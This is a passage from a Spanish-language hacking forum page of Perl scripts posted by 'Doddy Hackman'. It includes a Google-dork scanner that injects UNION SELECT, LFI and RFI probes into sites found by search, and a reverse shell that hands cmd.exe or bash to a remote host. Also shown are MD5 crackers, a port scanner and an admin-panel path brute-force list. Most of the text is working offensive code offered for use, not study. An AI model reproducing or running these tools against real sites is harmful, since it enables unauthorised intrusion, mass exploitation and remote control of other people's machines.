  53. chomp(my $pag = <STDIN>);
  54. my $option = &men;
  55. @paginas = &google("www.google.com.ar",$dork,$pag);
  56. scan($option,@paginas);
  57. }
  58. else {
  59. &menu;
  60. }
  61. }
  62. sub scan {
  63. my ($option,@webs) = @_;
  64. print "\n[Status] : Scanning\n";
  65. print "[Webs Count] : ".int(@webs)."\n\n";
  66. for(@webs) {
  67. if ($option=~/S/ig) {
  68. &sql($_);
  69. }
  70. if ($option=~/L/ig) {
  71. &lfi($_);
  72. }
  73. if ($option=~/R/ig) {
  74. &rfi($_);
  75. }
  76. if ($option=~/F/ig) {
  77. &fsd($_);
  78. }
  79. if ($option=~/A/ig) {
  80. &sql($_);
  81. &lfi($_);
  82. &rfi($_);
  83. &fsd($_)
  84. }
  85. }
  86. }
  87. print "\n[Status] : Finish\n";
  88. &finish;
  89.  
  90.  
  91. sub toma {
  92. return $nave->request (GET $_[0])->content;
  93. }
  94.  
  95.  
  96. sub savefile {
  97. open (SAVE,">>logs/".$_[0]);
  98. print SAVE $_[1]."\n";
  99. close SAVE;
  100. }
  101.  
  102. sub finish {
  103. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  104. <STDIN>;
  105. exit(1);
  106. }
  107.  
  108.  
  109. sub google {
  110. print "\n[Google] : $_[0]\n[Dork] : $_[1]\n[Pages] : $_[2]\n\n[+] Searching pages..\n";
  111. for ($pages=0;$pages<=$_[2];$pages=$pages+10) {
  112. $response = toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
  113. while ($response=~m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  114. push(@founds,$1);
  115. }}
  116. print "[+] Cleaning results\n";
  117. for(@founds) {
  118. $t = clean($_);
  119. push(@r,$t);
  120. }
  121. return(repes(@r));
  122. }
  123.  
  124.  
  125. sub sql {
  126. my ($pass1,$pass2) = ("+","--");
  127. my $page = shift;
  128. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  129. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  130. print "[+] SQLI : $page\a\n";
  131. savefile("sql-logs.txt",$page);
  132. }}
  133.  
  134. sub rfi {
  135. my $page = shift;
  136. $code1 = toma($page."http:/www.supertangas.com/");
  137. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  138. print "[+] RFI : $page\a\n";
  139. savefile("rfi-logs.txt",$page);
  140. }}
  141.  
  142. sub lfi {
  143. my $page = shift;
  144. $code1 = toma($page."'");
  145. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  146. print "[+] LFI : $page\a\n";
  147. savefile("lfi-logs.txt",$page);
  148. }}
  149.  
  150.  
  151. sub fsd {
  152. my $page = shift;
  153. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  154. if ($path=~/\/(.*)$/) {
  155. my $me = $1;
  156. $code1 = toma($page.$me);
  157. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  158. print "[+] Full Source Discloure : $page\a\n";
  159. savefile("fpd-logs.txt",$page);
  160. }}}
  161.  
  162. sub repes {
  163. foreach my $palabra ( @_ ) {
  164. next if $repety{ $palabra }++;
  165. push @revisado,$palabra;
  166. }
  167. return @revisado;
  168. }
  169.  
  170. sub savewords {
  171. open (FILE,$_[0]);
  172. @words = <FILE>;
  173. close FILE;
  174. for(@words) {
  175. $t = clean($_);
  176. push(@r,$t);
  177. }
  178. return(@r);
  179. }
  180.  
  181. sub men {
  182. print "\n\n[+] Scan Type : \n\n";
  183. print "[S] : SQL\n";
  184. print "[L] : LFI\n";
  185. print "[R] : RFI\n";
  186. print "[F] : Full Source Discloure\n";
  187. print "[A] : All\n\n";
  188. print "\n[Option] : ";
  189. chomp(my $option = <STDIN>);
  190. return $option;
  191. }
  192.  
  193. sub clean {
  194. if ($_[0] =~/\=/) {
  195. my @sacar= split("=",$_[0]);
  196. return(@sacar[0]."=");
  197. }
  198. }
  199.  
  200. #The End
  201. #Contact : doddy-hackman[at]hotmail[com]
  202. #blog : doddy-hackman.blogspot.com
384  Programación / Scripting / [Perl] Pass Cracker By Doddy H en: 8 Octubre 2011, 16:56 pm
Hola , aca les dejo un simple programa para buscar la decodificacion de un hash md5


Código
  1. #!usr/bin/perl
  2. #Pass Cracker 1.0
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  9. $nave->timeout(5);
  10.  
  11. head();
  12. unless($ARGV[0]) {
  13. print "\n\n[+] sintax : $0 <hash>\n\n";
  14. } else {
  15. crackit($ARGV[0]);
  16. }
  17. copyright();
  18.  
  19. sub crackit {
  20.  
  21. print "\n[+] Cracking $_[0]\n\n";
  22.  
  23. my %hash = (
  24.  
  25. 'http://passcracking.com/' => {
  26. 'tipo'  => 'post',
  27. 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
  28. 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  29. },  
  30. 'http://md5.hashcracking.com/search.php?md5=' =>  {
  31. 'tipo' => 'get',
  32. 'regex' => 'Cleartext of $_[0] is (.*)',
  33. },
  34. 'http://www.bigtrapeze.com/md5/' =>  {
  35. 'tipo' => 'post',
  36. 'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
  37. 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  38. },
  39. 'http://opencrack.hashkiller.com/' =>  {
  40. 'tipo' => 'post',
  41. 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  42. 'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  43. },
  44. 'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {
  45. 'tipo' => 'post',
  46. 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
  47. 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  48. },
  49. 'http://victorov.su/md5/?md5e=&md5d=' =>  {
  50. 'tipo' => 'get',
  51. 'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  52. }
  53. );
  54.  
  55. for my $data(keys %hash) {
  56.  
  57. if ($hash{$data}{tipo} eq "get") {
  58. $code = toma($data.$_[0]);
  59. if ($code=~/$hash{$data}{regex}/ig) {
  60. print "\n[+] Decoded : ".$1."\n\n";
  61. }
  62. } else {
  63. $code = tomar($data,$hash{$data}{variables});
  64. if ($code=~/$hash{$data}{regex}/ig) {
  65. print "\n[+] Decoded : ".$1."\n\n";
  66. }
  67. }
  68. }
  69. print "\n[+] Finish\n";
  70. }
  71.  
  72. sub head {
  73. print "\n\n-- == Pass Cracker == --\n\n";
  74. }
  75.  
  76. sub copyright {
  77. print "\n\n(C) Doddy Hackman 2011\n\n";
  78. exit(1);
  79. }
  80.  
  81. sub toma {
  82. return $nave->get($_[0])->content;
  83. }
  84.  
  85. sub tomar {
  86. my ($web,$var) = @_;
  87. return $nave->post($web,[%{$var}])->content;
  88. }
  89.  
  90. #Thanks to explorer (PerlEnEspañol)
  91. # ¿ The End ?
  92.  
Ejemplo de uso

Código:
perl crack.pl <hash>
385  Programación / Scripting / [Perl] PasteBin Uploader en: 8 Octubre 2011, 16:55 pm
Bueno aca eh terminado un programa que los ayudara a publicar sus programas
en pastebin de una forma rapida y sin ganas xDDD

Entonces , este programa tiene dos opciones :

  • Publica solo un archivo
  • Publica todos los archivos en un directorio

Tambien detecta el tipo de extension para poder publicar el codigo en su respectivo tipo de codigo

Código
  1. #!usr/bin/perl
  2. #Paste Bin Uploader (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5. use HTTP::Request::Common;
  6.  
  7. my $nave = LWP::UserAgent->new();
  8. $nave->timeout(10);
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10.  
  11. menu();
  12.  
  13. sub menu {
  14.  
  15. clean();
  16. header();
  17.  
  18. print "\n\n[Options]\n\n";
  19. print "[1] : Upload a file\n";
  20. print "[2] : Upload a directory\n";
  21. print "[3] : Exit\n\n";
  22. print "[Option] : ";
  23. chomp(my $op = <stdin>);
  24.  
  25. if ($op eq 1) {
  26. print "\n\n[File] : ";
  27. chomp(my $file = <stdin>);
  28.  
  29. if (-f $file)  {
  30.  
  31. ($name,$exta) =verfile($file);
  32.  
  33. my $ext = extensiones($exta);
  34.  
  35. if ($ext ne "Yet") {
  36.  
  37.  
  38. $code = openfile($file);
  39.  
  40. $re = lleva($name,$code,$ext);
  41.  
  42. print "\n\n[+] File : $file\n";
  43. print "[+] Link : ".$re."\n";
  44.  
  45. savefile("uploads_paste.txt","\n[+] File : $file");
  46. savefile("uploads_paste.txt","[+] Link : ".$re);
  47.  
  48. }
  49.  
  50.  
  51. } else {
  52. print "\n\n[-] Error\n\n";
  53. }
  54. reload();
  55. }
  56.  
  57. elsif ($op eq 2) {
  58.  
  59. print "\n\n[Directory] : ";
  60. chomp(my $dir = <stdin>);
  61.  
  62. if (-d $dir) {
  63.  
  64. my @files = verdir($dir);
  65.  
  66. print "\n\n[+] Loading directory\n";
  67.  
  68. for my $file(@files) {
  69.  
  70. chomp $file;
  71.  
  72. my ($name,$exta) =verfile($file);
  73.  
  74. my $ext = extensiones($exta);
  75.  
  76. if ($ext ne "Yet") {
  77.  
  78. my $code = openfile($dir."/".$file);
  79.  
  80. $re = lleva($name,$code,$ext);
  81.  
  82. print "\n\n[+] File : $file\n";
  83. print "[+] Link : ".$re."\n";
  84.  
  85. savefile("uploads_paste.txt","\n[+] File : $file");
  86. savefile("uploads_paste.txt","[+] Link : ".$re);
  87.  
  88. }
  89. }
  90. } else {
  91. print "\n\n[-] Error\n\n";
  92. }
  93.  
  94. reload();
  95. }
  96.  
  97. elsif ($op eq 3) {
  98. copyright();
  99. <stdin>;
  100. exit(1);
  101. }
  102.  
  103. else {
  104. menu();
  105. }
  106. }
  107.  
  108. sub copyright {
  109. print "\n\n(C) Doddy Hackman 2011\n\n";
  110. }
  111.  
  112. sub header {
  113.  
  114.  
  115. PPPP     AA     SSSSTTTTTTEEEE    BBBB   II NN   NN     UU  UU  PPPP
  116. PP PP    AA    SS  S  TT  EE      BB BB  II NNN  NN     UU  UU  PP PP
  117. PP PP   AAAA   SS     TT  EE      BB BB  II NNNN NN     UU  UU  PP PP
  118. PPPP    A  A    SSS   TT  EEEE    BBBB   II NN N NN     UU  UU  PPPP
  119. PP     AAAAAA     SS  TT  EE      BB BB  II NN NNNN     UU  UU  PP  
  120. PP     AA  AA  S  SS  TT  EE      BB BB  II NN  NNN     UUUUUU  PP  
  121. PP     AA  AA  SSSS   TT  EEEE    BBBB   II NN   NN      UUUU   PP  
  122.  
  123.  
  124. );
  125.  
  126. }
  127.  
  128. sub clean {
  129. system("cls");
  130. }
  131.  
  132.  
  133.  
  134. sub verdir{
  135. my @archivos;
  136. opendir DIR,$_[0];
  137. my @archivos = readdir DIR;
  138. for (@archivos) {
  139. if (-f $_[0]."/".$_) {
  140. push(@files,$_)
  141. }
  142. }
  143. return @files;
  144. }
  145.  
  146. sub verfile {
  147. if ($_[0]=~/(.*)\.(.*)/ig) {
  148. return ($1,$2);
  149. }
  150. }
  151.  
  152. sub extensiones {
  153.  
  154. if ($_[0] =~/py/ig) {
  155. $code  = "python";
  156. }
  157. elsif ($_[0] =~/pl/ig) {
  158. $code = "perl";
  159. }
  160. elsif ($_[0] =~/rb/ig) {
  161. $code = "ruby";
  162. }
  163. elsif ($_[0] =~/php/ig) {
  164. $code = "php";
  165. }
  166. elsif ($_[0] =~/txt/ig) {
  167. $code = "";
  168. }
  169. else {
  170. $code = "Yet";
  171. }
  172. return $code;
  173. }
  174.  
  175. sub reload {
  176. print "\n\n[?] Enter for continue\n\n";
  177. <stdin>;
  178. menu();
  179. }
  180.  
  181.  
  182.  
  183. sub savefile {
  184. open (SAVE,">>logs/".$_[0]);
  185. print SAVE $_[1]."\n";
  186. close SAVE;
  187. }
  188.  
  189. sub openfile {
  190.  
  191. my $r;
  192.  
  193. open (FILE,$_[0]);
  194. @wor = <FILE>;
  195. close FILE;
  196. for(@wor) {
  197. $r.= $_;
  198. }
  199. return $r;
  200. }
  201.  
  202. sub lleva {
  203. return $nave->post('http://pastebin.com/api_public.php',{ paste_code => $_[1],paste_name=> $_[0],paste_format=>$_[2],paste_expire_date=>'N',paste_private=>"public",submit=>'submit'})->content;
  204. }
  205.  
  206. # ¿ The End ?
  207.  
386  Programación / Scripting / [Perl] Reverse Shell By Doddy en: 8 Octubre 2011, 16:55 pm
 Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

Código
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "[+] Starting the connection\n";
  14. print "[+] Enter in the system\n";
  15. print "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "[+] Domain Name : ".Win32::DomainName()."\n";
  42. print "[+] OS Version : ".Win32::GetOSName()."\n";
  43. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. print "[+] System information\n\n";
  48. system("uname -a");
  49. }
  50.  
  51. #The End
  52.  
  53.  
387  Programación / Scripting / [Perl] Search in google for scan SQLI en: 7 Octubre 2011, 15:57 pm
Un simple scanner de SQLI para usar en google

Código
  1. #!usr/bin/perl
  2. #Search Google for scan SQLI
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6. use HTML::LinkExtor;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10. $nave->timeout(5);
  11.  
  12. head();
  13.  
  14. print "\n\n[Dork] : ";
  15. chomp(my $dork = <stdin>);
  16. print "\n\n[Pages] : ";
  17. chomp(my $pages = <stdin>);
  18. print "\n\n[Starting the search]\n\n";
  19. my @links = google($dork,$pages);
  20. print "\n[Links Found] : ".int(@links)."\n\n\n";
  21. print "[Starting the scan]\n\n\n";
  22. for my $link(@links) {
  23. if ($link=~/(.*)=/ig) {
  24. my $web = $1;
  25. sql($web."=");
  26. }}
  27. print "\n\n[+] Finish\n";
  28. copyright();
  29. <stdin>;
  30.  
  31. sub google {
  32. my($a,$b) = @_;
  33. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  34. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  35. my @links = get_links($code);
  36. for my $l(@links) {
  37. if ($l =~/webcache.googleusercontent.com/) {
  38. push(@url,$l);
  39. }
  40. }
  41. }
  42.  
  43. for(@url) {
  44. if ($_ =~/cache:(.*?):(.*?)\+/) {
  45. push(@founds,$2);
  46. }
  47. }
  48.  
  49. my @founds = repes(@founds);
  50.  
  51. return @founds;
  52. }
  53.  
  54.  
  55. sub sql {
  56. my ($pass1,$pass2) = ("+","--");
  57. my $page = shift;
  58. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  59. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  60. print "[+] SQLI : $page\a\n";
  61. }}
  62.  
  63. sub get_links {
  64.  
  65. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  66. return @links;
  67.  
  68. sub agarrar {
  69. my ($a,%b) = @_;
  70. push(@links,values %b);
  71. }
  72. }
  73.  
  74. sub repes {
  75. foreach $test(@_) {
  76. push @limpio,$test unless $repe{$test}++;
  77. }
  78. return @limpio;
  79. }
  80.  
  81. sub head {
  82. print "\n\n-- == Search Google == --\n\n";
  83. }
  84.  
  85. sub copyright {
  86. print "\n\n(C) Doddy Hackman 2011\n\n";
  87. exit(1);
  88. }
  89.  
  90. sub toma {
  91. return $nave->get($_[0])->content;
  92. }
  93.  
  94. sub tomar {
  95. my ($web,$var) = @_;
  96. return $nave->post($web,[%{$var}])->content;
  97. }
  98.  
  99. #Thanks to explorer (PerlEnEspañol)
  100. # ¿ The End ?
388  Programación / Scripting / [Perl] Scan Port By Doddy H en: 7 Octubre 2011, 15:56 pm
HOla a todos  aca les traigo un simple scanner de puertos
hecho en perl

Código
  1. #!usr/bin/perl
  2. #Scan Port
  3. #(C) Doddy Hackman 2011
  4. #Creditos
  5.  
  6. use IO::Socket;
  7.  
  8. head();
  9. unless($ARGV[0]) {
  10. print "\n\n[sintax] : ".$0." <ip> \n\n";
  11. } else {
  12. scan($ARGV[0]);
  13. }
  14. copyright();
  15.  
  16. sub scan {
  17.  
  18. my %ports = ("21"=>"ftp",
  19. "22"=>"ssh",
  20. "25"=>"smtp",
  21. "80"=>"http",
  22. "110"=>"pop3",
  23. "3306"=>"mysql"
  24. );
  25.  
  26.  
  27. print "\n[+] Scanning $_[0]\n\n\n";
  28.  
  29. for my $port(keys %ports) {
  30.  
  31. if (new IO::Socket::INET(PeerAddr => $_[0],PeerPort => $port,Proto => "tcp",Timeout  => 0.5)) {
  32. print "[Port] : ".$port." [Service] : ".$ports{$port}."\n";
  33. }
  34. }
  35.  
  36. }
  37.  
  38. sub head {
  39. print "\n\n-- == Scan Port == --\n\n";
  40. }
  41.  
  42. sub copyright {
  43. print "\n\n(C) Doddy Hackman 2011\n\n";
  44. exit(1);
  45. }
  46.  
  47.  

Ejemplo de uso

Código:
perl scan.pl localhost
389  Programación / Scripting / [Perl] Search MD5 en: 7 Octubre 2011, 15:56 pm
Hola a todos

HOy acabo de hacer un crackeador de hash md5 con salto o sin el
En esta version es con ventanas usandos tk


Código
  1. #Search MD5
  2. #Version : Tk
  3. #Author : Doddy Hackman
  4.  
  5.  
  6. use Tk;
  7. use Digest::MD5;
  8. use Tk::FileSelect;
  9. use Tk::ROText;
  10.  
  11. if ($^O eq 'MSWin32') {
  12. use Win32::Console;
  13. Win32::Console::Free();
  14. }
  15.  
  16. my $w = MainWindow->new(-background=>"black");
  17. $w->title("Search MD5");
  18. $w->geometry("500x200+20+20");
  19. $w->resizable(0,0);
  20. $w->Label(-text=>"Search MD5",-background=>"black",-foreground=>"cyan",-font=>"Impact")->pack();
  21. $w->Label(-text=>"Hash",-background=>"black",-foreground=>"green")->place(-x =>40, -y => 55);
  22. my $hash = $w->Entry(-text=>"30d554c3665c8f204622b2003c77d994",-background=>"black",-foreground=>"green")->place(-x =>90, -y => 55);
  23. $w->Label(-text=>"Salt",-background=>"black",-foreground=>"green")->place(-x =>260, -y => 55);
  24. my $salt = $w->Entry(-text=>"X",-background=>"black",-foreground=>"green")->place(-x =>290, -y => 55);
  25. $w->Label(-text=>"Wordlist",-background=>"black",-foreground=>"green")->place(-x =>40, -y => 100);
  26. my $o = $w->Entry(-textvariable=>\$file,-background=>"black",-foreground=>"green")->place(-x =>90, -y => 100);
  27. $w->Button(-text=>"Browse",-background=>"black",-foreground=>"red",-activebackground=>"red",-command=>\&oper)->place(-x =>230, -y => 100);
  28. $w->Button(-text=>"Crack!",-foreground=>"green",-background=>"black",-command=>\&crack,-activebackground=>"green")->place(-x =>180, -y => 160);
  29. $w->Button(-text=>"About",-foreground=>"green",-background=>"black",-command=>\&about,-activebackground=>"green")->place(-x =>240, -y => 160);
  30. $w->Button(-text=>"Exit",-foreground=>"green",-background=>"black",-command=>[$w =>'destroy'],-activebackground=>"green")->place(-x =>300, -y => 160);
  31.  
  32. sub oper{
  33. $w->update;
  34. $browse = $w->FileSelect(-directory => "/");
  35. my $file = $browse->Show;
  36. $o->configure (-text =>$file);
  37. }
  38.  
  39. sub about {
  40. my $venta = MainWindow->new(-background=>"black");
  41. $venta->geometry("300x180+20+20");
  42. $venta->title("About");
  43. $venta->resizable(0,0);
  44. $venta->Label(-text=>"\nSearch MD5\n\n\nProgrammer : Doddy Hackman\n\nContact : lepuke[at]hotmail[com]\n\n",-background=>"black",-foreground=>"yellow")->pack();
  45. $venta->Button(-text=>"Exit",-foreground=>"yellow",-background=>"black",-command => [$venta => 'destroy'],-activebackground=>'yellow')->pack()
  46. }
  47.  
  48. sub crack {
  49. my $hash = $hash->get;
  50. my $salt = $salt->get;
  51. my $wordlist = $o->get;
  52.  
  53. my $console = MainWindow->new(-background=>"black");
  54. $console->title("Status");
  55. $console->resizable(0,0);
  56. $console->geometry("400x320+20+20");
  57. $console->Label(-text=>"Status",-background=>"black",-foreground=>"green",-font=>"Impact")->pack();
  58. my $box = $console->ROText(-background=>"black",-foreground=>"green",-width=> 45,-height=> 15)->place(-x =>40,-y=>50);
  59. $console->Button(-text=>"Exit",-background=>"black",-foreground=>"green",-activebackground=>"green",-command=> [$console => 'destroy'],-width=>"20")->place(-x =>130, -y => 280);
  60. if ($salt eq "X") { $salt = "";}
  61. unless (-f $wordlist) { $box->insert('end',"\n\n[-] Wordlist dont exist!\n\n");next;}
  62. if(length($hash)==32) {
  63. $box->insert('end',"[Hash] : $hash\n[Salt] : $salt\n[Wordlist] : $wordlist\n\n");
  64. open word,$wordlist;
  65. @words = <word>;
  66. close word;
  67. for my $pass(@words) {
  68. chomp $pass;
  69. $console->update;
  70. $box->insert('end',"[+] Trying with $pass\n");
  71. $digest = Digest::MD5->md5_hex($pass.$salt);chomp $digest;
  72. if ($digest == $hash) {print "\a\a";$box->insert('end',"\n[Hash encoded] : $hash\n[Hash decoded] : $pass\n\n");$ok="1";last;}
  73. }} else { $box->insert('end',"\n\n[-] The hash is incorrect\n\n");next;}
  74. unless ($ok eq "1") {$box->insert('end',"\n\n[-] Sorry , hash not cracked\n\n");next;}}
  75.  
  76. MainLoop;
  77.  
  78.  
390  Programación / Scripting / [Perl] Stalker By Doddy H en: 7 Octubre 2011, 15:56 pm
Bueno aca les traigo un programa que eh estado
haciendo esta ultima semana

Se llama stalker , sirve como consola en caso de que cmd.exe no este
disponible y tiene las siguiente funciones

  • Mostrar IP de servidor especifico
  • Capturar todos los links de una pagina
  • Recibir procesos de nuestra maquina
  • Cerrar el proceso que nos moleste
  • Conectar a un servidor y mostrar respuesta
  • Capturar metodos HTTP de un servidor web
  • Verificar listado de directorios en una pagina
  • Codificacion y decodificacion de hex/ascii/base64
  • Escanear puertos de una IP
  • Buscar panel de administracion
  • Crackear hash md5 mediante webs
  • Buscar en google paginas vulnerables a SQLI
  • Cliente FTP
  • Navegador por nuestros archivos y directorios
  • Y ejecutar comandos
Código
  1. #!usr/bin/perl
  2. #Project STALKER (C) Doddy Hackman 2011
  3. #
  4. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  5. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  6. #
  7. #You need download this http://search.cpan.org/~animator/Color-Output-1.05/Output.pm
  8. #
  9.  
  10. use IO::Socket;
  11. use HTML::LinkExtor;
  12. use LWP::UserAgent;
  13. use Win32::OLE qw(in);
  14. use Win32::Process;
  15. use Net::FTP;
  16. use Cwd;
  17. use URI::Split qw(uri_split);
  18. use MIME::Base64;
  19. use DBI;
  20. use Color::Output;
  21. Color::Output::Init
  22.  
  23. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  24. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  25. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  26. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  27. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  28. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  29. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  30. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  31. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  32. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  33. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  34. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  35. ,'administration/','administration/index.php','administration/login.php'
  36. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  37. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  38. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  39. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  40. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  41. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  42. ,'administrator/','administrator/index.html','administrator/login.html'
  43. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  44. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  45. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  46. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  47. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  48. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  49. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  50. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  51. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  52. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  53. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  54. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  55. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  56. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  57. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  58. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  59. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  60. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  61. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  62. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  63. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  64. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  65. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  66. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  67. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  68. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  69. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  70. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  71. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  72. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  73. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  74. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  75. ,'server/','database_administration/','power_user/','system_administration/'
  76. ,'ss_vms_admin_sm/');
  77.  
  78.  
  79. unless (-d "/logs/webs") {
  80. mkdir("logs/",777);
  81. mkdir("logs/webs/",777);
  82. }
  83.  
  84. my $nave = LWP::UserAgent->new;
  85. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  86. $nave->timeout(5);
  87.  
  88. head();
  89.  
  90. getinfo();
  91.  
  92. $SIG{INT} = \&next;
  93.  
  94. while(1) {
  95. cprint "\x037"; #13
  96. menujo();
  97. cprint "\x030";
  98. }
  99.  
  100. sub getinfo {
  101. $so = $^O;
  102. $login = Win32::LoginName();
  103. $domain = Win32::DomainName();
  104. cprint "\x0313"; #13
  105. print "\n\n[SO] : $so [Login] : $login [Group] : $domain\n\n";
  106. cprint "\x030";
  107. }
  108.  
  109.  
  110. sub menujo {
  111. print "\n\n>";
  112. chomp (my $cmd = <stdin>);
  113. print "\n\n";
  114.  
  115. if ($cmd=~/getinfo/ig) {
  116. getinfo();
  117. }
